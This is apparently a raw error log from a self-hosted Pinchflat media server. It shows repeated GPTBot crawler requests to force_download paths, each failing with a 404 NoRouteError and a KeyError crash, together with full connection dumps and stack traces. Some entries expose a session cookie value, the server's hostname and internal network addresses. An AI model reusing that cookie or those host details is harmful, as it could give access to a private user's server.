pid: #PID<0.263845.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102835/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36124}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263846.0>, params: %{}, path_info: ["sources", "4", "media", "102835", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/4/media/102835/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEKgTtTF03I6vIAMXSC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263845.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102835/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36124}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/102835/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263845.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102835/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36124}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "ade (truncated) 02:21:31.501 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.748 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:22:01.504 [info] {"source":"oban","duration":2193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:31.506 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:42.177 [info] GET /sources/4/media/102836/force_download 02:22:42.178 [debug] QUERY OK source="settings" db=0.3ms idle=1532.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:22:42.178 [debug] QUERY OK source="settings" db=0.2ms idle=1533.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:22:42.179 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:22:42.179 [error] #PID<0.263855.0> running PinchflatWeb.Endpoint (connection #PID<0.263854.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/media/102836/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/102836/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102836/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51310}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263855.0>, params: %{}, path_info: ["sources", "4", "media", "102836", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/4/media/102836/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEKlJUCexeFHYUAMXUC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102836/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51310}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/102836/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102836/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51310}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263855.0>, params: %{}, path_info: ["sources", "4", "media", "102836", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => Pinch (truncated) 02:23:00.749 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:23:01.508 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:24.461 [info] GET /sources/1/media/89339/force_download 02:23:24.462 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1816.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:23:24.463 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1817.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:23:24.463 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:23:24.463 [error] #PID<0.263861.0> running PinchflatWeb.Endpoint (connection #PID<0.263860.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/89339/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89339/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263860.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89339/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38846}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263861.0>, params: %{}, path_info: ["sources", "1", "media", "89339", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/media/89339/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEKnm1UFbYXPIcAMXWC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263860.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89339/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38846}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89339/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263860.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89339/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38846}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263861.0>, params: %{}, path_info: ["sources", "1", "media", "89339", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.E (truncated) 02:23:31.510 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.750 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:24:01.512 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:25.782 [info] GET /sources/1/media/89341/force_download 02:24:25.783 [debug] QUERY OK source="settings" db=0.3ms idle=1137.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:24:25.783 [debug] QUERY OK source="settings" db=0.3ms idle=1137.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:24:25.783 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:24:25.784 [error] #PID<0.263868.0> running PinchflatWeb.Endpoint (connection #PID<0.263867.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/89341/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89341/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263867.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89341/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60434}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263868.0>, params: %{}, path_info: ["sources", "1", "media", "89341", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/media/89341/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEKrLRTj0zMkvgAJ-xB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263867.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89341/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60434}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89341/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263867.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89341/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60434}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: 